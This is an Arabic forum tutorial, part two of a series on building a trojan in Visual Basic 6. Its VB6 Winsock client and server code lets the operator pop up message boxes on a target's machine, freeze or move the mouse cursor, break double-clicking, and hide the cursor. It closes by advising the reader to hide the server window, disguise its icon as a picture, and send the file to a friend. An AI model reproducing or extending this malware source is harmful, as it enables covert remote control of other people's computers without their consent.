بناء التروج في الفجول بيسك 6 ــــــــــــــــــــــــــــــ الجزء الثاني

thanx bro

نضيف الآن حالة وصول البيان الذي يحمل البتتات msg و التي سنعرفها هنا على أنها msgbox
و نكتب الكود التالي:
code:
________________________________________

Case "msg"
MsgBox data, vbInformation, "Information"
________________________________________

السطر الأول نوع الحالة
السطر الثاني يقوم بإظهار صندوق رسالة إلى المستخدم يحوي على البيانات المكتوبة ضمن الtext2 في الكلينت
ثم نضيف الكود التالي لأنهاء الحالات
code:
________________________________________

End Select
________________________________________

و ننهي هذا التابع كالعادة بالتعليمة
code:
________________________________________

End Function
________________________________________

- بهذا أصبح كل شيء جاهزاً عليك الآن ارسال هذه الملف لصديقك و التجريب عليه
دمتم بخير و السلام عليكم
يتبع بقية الخيارات.....
السلام عليكم نتابع معاً
الخطوات التي اتفقنا عليها
نفتح المشروع السابق لنضيف له خيارات جديدة و هي التي تتعلق بمؤشر الفأرة
و سنتسخدم في هذا الدرس التوابع الجديدة التالية:
SetCursorPos:
يمكننا من خلالها تغير و تحديد مكان جديد لمؤشر الفأرة عند جهاز الخصم
SetDoubleClickTime:
يمكننا من خلال هذا التابع إنقاص الفترة الزمنية للضغط على المؤشر بحيث
لا يتمكن المستخدم من عمل ضغتطين متتاليتين على الفأرة
ShowCursor:
لأظهار وإخفاء مؤشر الفأرة
نقوم في المشروع السابق( الكليت) بإضافة ثلاث أزار جديدة لتأخذ الترتيب من 4 إلى 7
و قم بتغير عناوينها للتالي:
name=command4:caption=جمد مؤشر الفأرة
name=command5:caption=زد سرعة ضربات الفأرة
name=command6:caption=قم بإخفاء مؤشر الفأرة
name=command7:caption=قم بإظهار مؤشر الفأرة
نقوم الآن بارسال رموز نمط string إلى جهاز الخصم ثم نقوم في الملف الثاني
بترجمة هذه الرموز
نكتب داخل الزر الرابع الكود التالي:
code:
________________________________________

Private Sub Command4_Click()
Winsock1.SendData "frz"
End Sub
________________________________________

و الخامس:
code:
________________________________________

Private Sub Command5_Click()
Winsock1.SendData "sss"
End Sub
________________________________________

و السادس:
code:
________________________________________

Private Sub Command6_Click()
Winsock1.SendData "hid"
End Sub
________________________________________

و السابع:
code:
________________________________________

Private Sub Command7_Click()
Winsock1.SendData "sho"
End Sub
________________________________________

و لقد انتهينا الآن من ملف الكينت ننتقل الآن إلى ملف السيرفر في جهاز الخصم
و نقوم بفتح المشروع السابق و نضيف عليه التوابع التي قمنا بشرحها سابقاً
( من قائمة add-ins ثم api Viewer)
ثم نقوم بالدخول إلى الmodule الخاصة بنا و نضع تصاريح التوابع في قسم التصريحات العامة:
أي :
code:
________________________________________

Public Declare Function SetCursorPos Lib "user32" Alias "SetCursorPos" (ByVal x As Long, ByVal y As Long) As Long
Public Declare Function SetDoubleClickTime Lib "user32" Alias "SetDoubleClickTime" (ByVal wCount As Long) As Long
Public Declare Function ShowCursor Lib "user32" Alias "ShowCursor" (ByVal bShow As Long) As Long
________________________________________

ثم نعرف ثلاث متحولات نمط srting تعبر عن التابع على النحو التالي:
code:
________________________________________

Dim setcursor As String
Dim clickTime As String
Dim show As String
________________________________________

ثم نقوم بإضافة حالات البيانات المرمزة القادمة :
code:
________________________________________

Case "frz"
setcursor = SetCursorPos(50, 50)
Case "sss"
clickTime = SetDoubleClickTime(50)
Case "hid"
show = ShowCursor(0)
Case "sho"
show = ShowCursor(1)
________________________________________

كخطوة نهائية نقوم بإخفاء الفورم و تغير الicon إلى شكل صورة ما
يمكنكم تحميل هذا المثال كاملاً أي الشيفرة المصدرية من الملف المرفق
ملاحظة يمكنك أن تجرب إقتحام نفسك فتح الملف السيرفر اولاً ثم ضع الآي بي 127.0.0.1